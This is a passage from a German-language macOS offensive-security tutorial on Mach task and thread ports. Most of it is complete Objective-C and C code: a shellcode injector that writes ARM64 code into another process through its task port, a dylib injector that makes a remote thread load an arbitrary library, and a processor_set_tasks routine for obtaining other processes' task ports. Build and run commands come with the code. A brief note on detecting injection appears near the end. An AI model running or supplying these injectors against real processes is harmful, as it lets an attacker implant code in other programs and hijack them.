Threads haben ebenfalls zugeordnete Ports, die von der Aufgabe, die task_threads
aufruft, und vom Prozessor mit processor_set_threads
sichtbar sind. Ein SEND-Recht auf den Thread-Port ermöglicht die Verwendung der Funktionen aus dem thread_act
-Subsystem, wie:
thread_terminate
thread_[get/set]_state
act_[get/set]_state
thread_[suspend/resume]
thread_info
- ...
Jeder Thread kann diesen Port aufrufen, indem er mach_thread_sef
aufruft.
Shellcode-Injektion in den Thread über den Task-Port
Du kannst einen Shellcode von:
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
Kompilieren Sie das vorherige Programm und fügen Sie die Berechtigungen hinzu, um Code mit demselben Benutzer injizieren zu können (ansonsten müssen Sie sudo verwenden).
sc_injector.m
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
// Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669
// and on https://newosxbook.com/src.jl?tree=listings&file=inject.c
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
tip
Damit dies auf iOS funktioniert, benötigen Sie die Berechtigung dynamic-codesigning
, um einen beschreibbaren Speicher ausführbar zu machen.
Dylib-Injektion in den Thread über Task-Port
In macOS können Threads über Mach oder die posix pthread
API manipuliert werden. Der Thread, den wir bei der vorherigen Injektion erzeugt haben, wurde mit der Mach-API erzeugt, daher ist er nicht posix-konform.
Es war möglich, einen einfachen Shellcode zu injizieren, um einen Befehl auszuführen, da er nicht mit posix konformen APIs arbeiten musste, sondern nur mit Mach. Komplexere Injektionen würden erfordern, dass der Thread ebenfalls posix-konform ist.
Daher sollte zur Verbesserung des Threads pthread_create_from_mach_thread
aufgerufen werden, um einen gültigen pthread zu erstellen. Dann könnte dieser neue pthread dlopen aufrufen, um eine dylib aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
Sie finden Beispiel-dylibs in (zum Beispiel die, die ein Protokoll generiert und dann können Sie es abhören):
macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
dylib_injector.m
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
Thread Hijacking via Task port
In dieser Technik wird ein Thread des Prozesses übernommen:
macOS Thread Injection via Task port
Task Port Injection Detection
Beim Aufruf von task_for_pid
oder thread_create_*
wird ein Zähler in der Struktur task aus dem Kernel erhöht, der im Benutzermodus durch den Aufruf von task_info(task, TASK_EXTMOD_INFO, ...) abgerufen werden kann.
Exception Ports
Wenn eine Ausnahme in einem Thread auftritt, wird diese Ausnahme an den vorgesehenen Ausnahmeport des Threads gesendet. Wenn der Thread sie nicht behandelt, wird sie an die Ausnahmeports des Tasks gesendet. Wenn der Task sie nicht behandelt, wird sie an den Hostport gesendet, der von launchd verwaltet wird (wo sie anerkannt wird). Dies wird als Ausnahme-Triage bezeichnet.
Beachten Sie, dass am Ende, wenn sie nicht ordnungsgemäß behandelt wird, der Bericht normalerweise vom ReportCrash-Daemon behandelt wird. Es ist jedoch möglich, dass ein anderer Thread im selben Task die Ausnahme verwaltet, was Tools zur Absturzberichterstattung wie PLCreashReporter
tun.
Other Objects
Clock
Jeder Benutzer kann Informationen über die Uhr abrufen, jedoch muss man, um die Zeit einzustellen oder andere Einstellungen zu ändern, Root-Rechte haben.
Um Informationen zu erhalten, ist es möglich, Funktionen aus dem clock
-Subsystem wie clock_get_time
, clock_get_attributtes
oder clock_alarm
aufzurufen.
Um Werte zu ändern, kann das clock_priv
-Subsystem mit Funktionen wie clock_set_time
und clock_set_attributes
verwendet werden.
Processors and Processor Set
Die Prozessor-APIs ermöglichen die Steuerung eines einzelnen logischen Prozessors durch den Aufruf von Funktionen wie processor_start
, processor_exit
, processor_info
, processor_get_assignment
...
Darüber hinaus bietet die Processor Set-API eine Möglichkeit, mehrere Prozessoren in einer Gruppe zu gruppieren. Es ist möglich, das Standard-Prozessor-Set durch den Aufruf von processor_set_default
abzurufen.
Dies sind einige interessante APIs, um mit dem Prozessor-Set zu interagieren:
processor_set_statistics
processor_set_tasks
: Gibt ein Array von Senderechten an alle Tasks im Prozessor-Set zurückprocessor_set_threads
: Gibt ein Array von Senderechten an alle Threads im Prozessor-Set zurückprocessor_set_stack_usage
processor_set_info
Wie in diesem Beitrag erwähnt, ermöglichte dies in der Vergangenheit, den zuvor genannten Schutz zu umgehen, um Task-Ports in anderen Prozessen zu erhalten, um sie durch den Aufruf von processor_set_tasks
zu steuern und einen Hostport für jeden Prozess zu erhalten.
Heutzutage benötigt man Root-Rechte, um diese Funktion zu verwenden, und dies ist geschützt, sodass man diese Ports nur in ungeschützten Prozessen erhalten kann.
Sie können es mit folgendem versuchen:
processor_set_tasks code
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
//gcc ./port_pid.c -o port_pid
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/sysctl.h>
#include <libproc.h>
#include <mach/mach.h>
#include <errno.h>
#include <string.h>
#include <mach/exception_types.h>
#include <mach/mach_host.h>
#include <mach/host_priv.h>
#include <mach/processor_set.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <mach/task.h>
#include <mach/task_info.h>
#include <mach/mach_traps.h>
#include <mach/mach_error.h>
#include <mach/thread_act.h>
#include <mach/thread_info.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <sys/ptrace.h>
mach_port_t task_for_pid_workaround(int Pid)
{
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
mach_port_t psDefault;
mach_port_t psDefault_control;
task_array_t tasks;
mach_msg_type_number_t numTasks;
int i;
thread_array_t threads;
thread_info_data_t tInfo;
kern_return_t kr;
kr = processor_set_default(myhost, &psDefault);
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
mach_error("host_processor_set_priv",kr); exit(1);}
printf("So far so good\n");
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
for (i = 0; i < numTasks; i++)
{
int pid;
pid_for_task(tasks[i], &pid);
printf("TASK %d PID :%d\n", i,pid);
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
printf("Command line: %s\n", pathbuf);
} else {
printf("proc_pidpath failed: %s\n", strerror(errno));
}
if (pid == Pid){
printf("Found\n");
return (tasks[i]);
}
}
return (MACH_PORT_NULL);
} // end workaround
int main(int argc, char *argv[]) {
/*if (argc != 2) {
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
if (pid <= 0) {
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
return 1;
}*/
int pid = 1;
task_for_pid_workaround(pid);
return 0;
}
```